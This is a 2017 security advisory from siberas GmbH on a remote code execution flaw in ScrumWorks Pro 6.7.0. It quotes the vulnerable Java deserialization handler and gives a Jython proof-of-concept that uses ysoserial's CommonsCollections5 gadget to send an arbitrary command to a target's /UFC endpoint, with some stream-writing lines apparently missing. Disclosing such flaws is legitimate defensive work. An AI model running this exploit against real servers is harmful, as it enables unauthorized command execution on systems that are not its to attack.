Die siberas GmbH ein auf Sicherheitsanalysen und Penetrationstests spezialisiertes Beratungsunternehmen, welches Sie herstellerunabhängig und kompetent im Bereich IT-Sicherheit berät.


ScrumWorks Pro Remote Code Execution

Reference ID: SSA-1711
Publication date: 22.08.2017
Severity: critical
Discovered by: Hans-Martin Muench

Affected products/versions:
Scrumworks Pro (6.7.0 and earlier versions)

This vulnerability was reported via the SecuriTeam Secure Disclosure (SSD) Program of Beyond Security. You can also find this advisory on their blog.

Vulnerability Summary
The following advisory describes a remote code execution vulnerability found in ScrumWorks Pro version 6.7.0. “CollabNet ScrumWorks Pro is an Agile Project Management for Developers, Scrum Masters, and Business”. A trial version can be downloaded from the vendor site.

Vendor response
Collab was informed of the vulnerability, and responded to it that – “We had a check with our Scrumworks Engineering team and after initial analysis, they’ve concluded that the Vulnerability which was reported will be considered of least priority from our end and it might be fixed in the future, however, We can’t assure you on the time line as our team is working with more priority issues at the moment.”

Vulnerability details
ScumWorks Pro provides a web interface and a Java client that can be started via Java Web Start (JNLP). The Java client sends serialized Java objects to the /UFC endpoint of the application server. These requests are handled by the class com.danube.scrumworks.controller.FrontController, method “doPost”:

protected void doPost(HttpServletRequest paramHttpServletRequest, HttpServletResponse paramHttpServletResponse)
    throws IOException
    ServerSession localServerSession = getSession(paramHttpServletRequest);
    AbstractExecutableCommand localAbstractExecutableCommand = null;
    ObjectInputStream localObjectInputStream = new ObjectInputStream(new GZIPInputStream(paramHttpServletRequest.getInputStream()));
      AbstractCommand localAbstractCommand = (AbstractCommand)localObjectInputStream.readObject();
      localAbstractExecutableCommand = (AbstractExecutableCommand)Class.forName(getExecutableCommandName(localAbstractCommand)).newInstance();
      paramHttpServletResponse.addHeader("X-SWP-responseType", "object");
      if (localServerSession.isExpired())
        sendResponse(paramHttpServletResponse, new ReAuthenticateException());
      localObject1 = ControllerUtils.extractUserFromAuthorizationHeader(paramHttpServletRequest);
      String str = localObject1 == null ? null : ((UserTO)localObject1).getUserName();
      LOGGER.info("[User: " + str + "] command: " + localAbstractCommand);
      if (Maintenance.isMaintenanceMode()) {
        sendResponse(paramHttpServletResponse, ServerException.getMaintenanceModeException());
      } else {
        runCommandIfAuthorized((UserTO)localObject1, localAbstractExecutableCommand, localAbstractCommand, paramHttpServletResponse);
    catch (ServerException localServerException)
      sendResponse(paramHttpServletResponse, localServerException);
    catch (InvalidClassException localInvalidClassException)
      LOGGER.error("An outdated client tried to send a command.  Please log out and restart the client.");
      sendResponse(paramHttpServletResponse, new ServerException("The server has been updated.  Please relaunch your client.", localInvalidClassException));
    catch (Exception localException)
      LOGGER.debug("error handling request", localException);
      Object localObject1 = unwrapException(localException);
      LOGGER.error("error executing a command", (Throwable)localObject1);
      if (localAbstractExecutableCommand != null) {
        sendResponse(paramHttpServletResponse, ServerException.getMisconfiguredServerException((Exception)localObject1));

Before the first try block, the http POST body is ZIP decompressed and then used to read a Java object via readObject, making the application vulnerable to Java deserialization attacks if a suitable gadget is available. As many other applications, ScrumWorks Pro ships with a vulnerable version of Apache CommonsCollections (3.2.1) that can be used to execute arbitrary code with the permissions of the ScrumWorks application server.

Proof of Concept
The following Python script requires jython (at least version 2.5.3) and a local copy of the ysoserial library.

# Scrumworks Java Deserialization Remote Code Execution PoC
import httplib
import urllib
import sys

import binascii

# load the ysoserial.jar file 

from ysoserial import *
from ysoserial.payloads import *

# ZIP support
from java.io import ByteArrayOutputStream
from java.io import ObjectOutputStream
from java.util.zip import GZIPOutputStream

print "Scrumworks Java Deserialization Remote Code Execution PoC"
print "========================================================="

if len(sys.argv) != 4:
  print "usage: " + sys.argv[0] + " host port command\n"  

payloadName = "CommonsCollections5"
payloadClass = ObjectPayload.Utils.getPayloadClass(payloadName);

if payloadClass is None:
  print("Can't load ysoserial payload class")

# serialize payload
payload = payloadClass.newInstance()
exploitObject = payload.getObject(sys.argv[3])

# create streams
byteStream = ByteArrayOutputStream()
zipStream = GZIPOutputStream(byteStream)
objectStream = ObjectOutputStream(zipStream) 

# close streams

# http request
print "sending serialized command"
conn = httplib.HTTPConnection(sys.argv[1] + ":" + sys.argv[2])
conn.request("POST", "/scrumworks/UFC-poc-", byteStream.toByteArray())
response = conn.getresponse()
print "done"

Beyond Security SecuritTeam Secure Disclosure (SSD) website
SSD advisory